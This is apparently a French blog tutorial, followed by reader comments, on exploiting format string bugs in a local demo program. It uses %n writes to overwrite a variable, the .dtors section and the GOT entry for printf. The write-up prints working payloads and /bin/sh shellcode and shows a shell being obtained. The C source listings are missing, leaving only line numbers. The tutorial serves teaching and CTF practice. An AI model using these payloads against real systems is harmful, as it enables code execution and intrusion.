Les Format String Bugs
0x01 – Intro
Un format string bug peut se produire lorsque le programmeur passe à l’une des fonctions de la famille de printf une chaîne fournie par l’utilisateur.
Cet utilisateur peut alors très bien fournir une chaîne de format, et c’est ici que se trouve le bug.
Car si un « %x » se trouve dans cette chaîne et qu’aucun argument à printf n’est donné, alors printf prendra comme argument ce qui se trouve empilé sur la pile, il est donc possible de la lire avec plusieurs « %x ».
rappel: %x affiche sous forme hexadécimal.
Même si la fonction printf est dans la plupart des cas utilisée pour lire ou afficher une variable, elle est aussi capable d’y écrire, et cela se fait avec %n.
Rappel : %n stock le nombre de caractères déjà écrits dans l’argument correspondant.
Exemple de ces deux formats :
1 2 3 4 5 6 7 8 9 10 11 12 |
– On compile :
1 | gcc fmt.c -o fmt |
– On run :
1 2 3 4 | ./fmt c = a - 61 1234 i = 4 |
%x a fait printf le caractère ‘a’ en hexa qui correspond bien à 61 et %n a bien écrit dans i les 4 caractères affichés.
0x02 – Exemple de lecture/écriture
Ici nous allons voir comment changer la valeur d’une variable d’un programme grâce à un format string bug.
Voici la source du programme utilisé :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
– On compile :
1 | gcc fmtbug.c -o fmtbug |
Pour commencer il nous faut connaître la position de buf sur la pile, on y parvient en dépilant (avec %x) les valeurs de la stack :
1 2 | (for((val = 1; val < 10; val++)); do echo -n "val = $val - " ; ./fmtbug "ABCD%${val}\$x" ; done) | grep 44434241 val = 5 - ABCD44434241 |
Nous voyons que le début de notre buf se trouve en cinquième position, vérifions :
1 2 3 4 | ./fmtbug 'ABCD%5$x' ABCD44434241 var = 0 - 0 (0x8049680) |
Nous tombons bien sur notre string.
Maintenant nous allons changer la valeur de var qui est de type int, le programme de démonstration affiche son adresse donc nous n’avons pas besoin de la chercher, chez moi l’adresse de var est : 0x8049680
Il faut donc écrire avec %n à cette adresse :
1 2 3 4 | ./fmtbug `python -c 'print "\x80\x96\x04\x08%5$n"'` ... ... var = 4 - 4 (0x8049680) |
La valeur de la variable var à changer est 4 car nous avons affichés 4 caractères (\x80 + \x96 + \x04 + \x08). Mais nous pouvons très bien lui donner comme valeur 500 par exemple :
1 2 3 4 | ./fmtbug `python -c 'print "\x80\x96\x04\x08%496x%5$n"'` ... ... var = 500 - 1f4 (0x8049680) |
Nous savons maintenant donner une valeur à une variable, voyons alors comment lui donner une adresse :
Pour l’exemple on va donner à la variable « var » la valeur 0xdeadbeef.
Il y a deux façons d’y parvenir :
– Ecrire octet par octet* en commençant par ceux de poids fort.
– Ecrire word par word* toujours en commençant par celui de poids faible.
*Octet par octet : c’est à dire écraser ces 4 adresses : 0x8049680 0x8049680+1 0x8049680+2 0x8049680+3
Comme vu plus haut, nous devons commencer par les octets de poids faible pour 0xdeadbeef et utiliser le spécificateur %hhn.
1 2 3 4 5 6 7 8 | >>> 0xde 222 >>> 0xad 173 >>> 0xbe 190 >>> 0xef 239 |
En premier 0xad, puis 0xbe, suivi de 0xde, et pour finir 0xef.
Pour le premier byte (0xad), vu que 4 *4 octets sont déjà placés, c’est à dire nos adresses : « \x80\x96\x04\x08″+ »\x81\x96\x04\x08″+ »\x82\x96\x04\x08″+ »\x83\x96\x04\x08 », il faut en tenir compte :
0xad – (4*4) = 157
0xbe – 0xad = 17
0xde – 0xbe = 32
0xef – 0xde = 17
– Pour l’ordre d’écrasement :
adresse+0: 0xef
adresse+1: 0xbe
adresse+2: 0xad
adresse+3: 0xde
Voici notre exploit :
1 2 3 4 | ./fmtbug $(python -c 'print "\x80\x96\x04\x08"+"\x81\x96\x04\x08" + "\x82\x96\x04\x08" + "\x83\x96\x04\x08" + "%157c%7$hhn" + "%17c%6$hhn" + "%32c%8$hhn" + "%17c%5$hhn"') ... ... var = -559038737 - deadbeef (0x8049680) |
*Word par word
En le faisant word par word même principe : le word qui pèse le moins d’abord, suivis de l’autre. Mais nous n’écraserons que deux adresses : 0x8049680 et 0x8049680+2 avec le spécificateur %hn.
1 2 3 4 | >>> 0xdead 57005 >>> 0xbeef 48879 |
Pour le premier word (0xbeef) 2 adresses sont déjà affichées, donc 0xbeef – (4*2) soit 48871 qui sera à adresse+0 et pour le second 0xdead – 0xbeef = 8126 qui sera à adresse+2.
L’exploit :
1 2 3 4 | ./fmtbug $(python -c 'print "\x80\x96\x04\x08" + "\x82\x96\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"') ... ... var = -559038737 - deadbeef (0x8049680) |
0x03 – Exploitation
Je vais démontrer ici deux types d’exploitations (les plus connues) : format string bug avec shellcode.
*DTORS – Destructors
.dtors est une section créée par le compilateur GCC qui sert comme destructeur. La section utilisée comme constructeur est appelée .ctors. La section .dtors est une table de fonctions qui sont appelées juste après la sortie de main(). Voici à quoi ressemble la section .dtors pour notre programme fmtbug :
1 2 3 4 5 6 | objdump -s -j .dtors ./fmtbug ./fmtbug: file format elf32-i386 Contents of section .dtors: 8049570 ffffffff 00000000 ........ |
La section .dtors est accessible en écriture, nous comprenons tout de suite qu’il est donc possible d’écraser une adresse contenue dans .dtors par une adresse pointant sur notre shellcode. Nous allons donc écraser la dernière adresse de la table des fonctions de .dtors. Cette dernière adresse peut être trouvée grâce au tool « nm ».
1 2 3 | nm ./fmtbug | grep DTOR 08049574 d __DTOR_END__ 08049570 d __DTOR_LIST__ |
__DTOR_LIST__ représente le début de la section et __DTOR_END__ la fin. Il nous faut donc écraser l’adresse de __DTOR_END__, soit 0x08049574. Pour commencer, nous allons détourner le flux d’exécution de format bug pour le faire sauter sur 0xdeadbeef afin d’obtenir un segfault.
1 | ulimit -c unlimited |
1 2 3 4 | ./fmtbug $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"') ... ... Erreur de segmentation (core dumped) |
1 2 3 4 | gdb -c core Program terminated with signal 11, Segmentation fault. #0 0xdeadbeef in ?? () (gdb) |
Maintenant que nous arrivons à détourner le flux du programme, il faudrait qu’il puisse jump sur un shellcode, c’est ce que nous allons voir. Dans cet exemple, le shellcode sera dans une variable d’environnement :
1 | export EGG=$(python -c 'print "\x90" * 2048 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"') |
Pour trouver l’adresse sur laquelle jumper nous allons utiliser GDB, reprendre l’exemple plus haut avec 0xdeadbeef, puis chercher dans la stack les 0x90.
1 2 3 4 5 6 7 8 9 10 11 12 | gdb ./fmtbug (gdb) r $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"') ... ... Program received signal SIGSEGV, Segmentation fault. 0xdeadbeef in ?? () (gdb) x/500x $esp ... ... 0xbffff2fc: 0x90909090 0x90909090 0x90909090 0x90909090 |
Je vais donc prendre cette adresse (0xbffff2fc) pour que l’on saute dans les NOPs pour finir par exécuter le shellcode :
1 2 3 4 5 6 7 8 9 | >>> 0xbfff 49151 >>> 0xf2fc 62204 >>> 0xbfff - (4*2) 49143 >>> 0xf2fc - 0xbfff 13053 >>> |
1 2 3 4 5 6 | ./fmtbug $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%49143u%6$hn" + "%13053u%5$hn"') ... ... var = 0 - 0 (0x8049680) $ exit user@distro:~/fmtbug$ |
Et voila \o/ le shellcode a bien été exécuté 😉
*GOT – Global Offset Table
Cette table contient les adresses réelles des fonctions partagées utilisées par un programme. On obtient ces adresses grâce à objdump :
1 2 3 4 5 6 7 8 9 10 11 12 | objdump -R ./fmtbug ./fmtbug: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0804964c R_386_GLOB_DAT __gmon_start__ 0804965c R_386_JUMP_SLOT __gmon_start__ 08049660 R_386_JUMP_SLOT strncpy 08049664 R_386_JUMP_SLOT __libc_start_main 08049668 R_386_JUMP_SLOT printf 0804966c R_386_JUMP_SLOT puts |
Nous devons alors savoir laquelle de ces fonctions est appeleé après notre printf vulnérable. Pour voir cela, nous allons utiliser GDB.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | gdb ./fmtbug (gdb) set disassembly-flavor intel (gdb) disass main Dump of assembler code for function main: 0x080483d4 <main+0>: push ebp 0x080483d5 <main+1>: mov ebp,esp 0x080483d7 <main+3>: sub esp,0x414 0x080483dd <main+9>: cmp DWORD PTR [ebp+0x8],0x2 0x080483e1 <main+13>: je 0x80483fb <main+39> 0x080483e3 <main+15>: mov DWORD PTR [esp],0x804852c 0x080483ea <main+22>: call 0x8048340 <puts@plt> 0x080483ef <main+27>: mov DWORD PTR [ebp-0x404],0x1 0x080483f9 <main+37>: jmp 0x8048460 <main+140> 0x080483fb <main+39>: mov eax,DWORD PTR [ebp+0xc] 0x080483fe <main+42>: add eax,0x4 0x08048401 <main+45>: mov eax,DWORD PTR [eax] 0x08048403 <main+47>: mov DWORD PTR [esp+0x8],0x3ff 0x0804840b <main+55>: mov DWORD PTR [esp+0x4],eax 0x0804840f <main+59>: lea eax,[ebp-0x400] 0x08048415 <main+65>: mov DWORD PTR [esp],eax 0x08048418 <main+68>: call 0x8048310 <strncpy@plt> 0x0804841d <main+73>: mov BYTE PTR [ebp+0x0],0x0 0x08048421 <main+77>: lea eax,[ebp-0x400] 0x08048427 <main+83>: mov DWORD PTR [esp],eax 0x0804842a <main+86>: call 0x8048330 <printf@plt> 0x0804842f <main+91>: mov eax,ds:0x8049680 0x08048434 <main+96>: mov edx,DWORD PTR ds:0x8049680 0x0804843a <main+102>: mov DWORD PTR [esp+0xc],0x8049680 0x08048442 <main+110>: mov DWORD PTR [esp+0x8],eax 0x08048446 <main+114>: mov DWORD PTR [esp+0x4],edx 0x0804844a <main+118>: mov DWORD PTR [esp],0x804854b 0x08048451 <main+125>: call 0x8048330 <printf@plt> 0x08048456 <main+130>: mov DWORD PTR [ebp-0x404],0x0 0x08048460 <main+140>: mov eax,DWORD PTR [ebp-0x404] 0x08048466 <main+146>: leave 0x08048467 <main+147>: ret End of assembler dump. (gdb) |
Nous voyons qu’après le printf vulnérable (qui se trouve à l’adresse 0x0804842a), c’est encore un printf qui est appelé, il faut donc le remplacer. Si nous regardons la sortie d’objdump nous voyons que printf se trouve à 0x08049668. Pour cet exemple nous n’allons pas utiliser de variable d’environnement pour stocker notre shellcode, nous allons le passer en même temps dans la format string mais il nous faut son adresse, encore une fois je vais utiliser GDB.
1 2 3 4 5 6 7 8 9 10 11 12 | gdb ./fmtbug (gdb) r $(python -c 'print "\x68\x96\x04\x08" + "\x6a\x96\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn" + "\x90" * 500 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"') Program received signal SIGSEGV, Segmentation fault. 0xdeadbeef in ?? () (gdb) x/100x $esp ... ... 0xbffff270: 0x90909090 0x90909090 0x90909090 0x90909090 ... |
Je vais donc écraser l’adresse de printf qui est à 0x08049668 par 0xbffff270 où se trouvent nos NOPs.
1 2 3 4 5 6 7 8 9 | >>> 0xbfff 49151 >>> 0xf270 62064 >>> 0xbfff - (4*2) 49143 >>> 0xf270 - 0xbfff 12913 >>> |
On a maintenant tout ce qu’il nous faut, exploitons-le :
1 2 3 4 | ./fmtbug $(python -c 'print "\x68\x96\x04\x08" + "\x6a\x96\x04\x08" + "%49143u%6$hn" + "%12913u%5$hn" + "\x90" * 500 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"') ... ����$ exit user@distro:~/fmtbug$ |
W00t, on obtient bien un shell (on le voit avec le ‘$’).
C’est tout pour cet article, j’espère vous avoir éclairci sur les exploitations de type format string.
Salut,
L’exploitation par la section DTORS risque d’être un poil compliqué étant donné que gcc a mis en place des protections contre (le nombre de destructors est compté au chargement du programme et le prog n’exécute que les dtors qu’il a comptés).
Bref, vaut mieux se tourner vers la GOT 😉 (si celle-ci est writeable)
ouaip, exact, j’ai du prendre gcc-4.1 il me semble dispo encore dans les depots de debian. mais c’est quand même encore utile à savoir par exemple pour les CTF/wargames.
L’exploitation par la section DTORS risque d’être un poil compliqué étant donné que gcc a mis en place des protections contre (le nombre de destructors est compté au chargement du programme et le prog n’exécute que les dtors qu’il a comptés).
+1
Merci, super article 🙂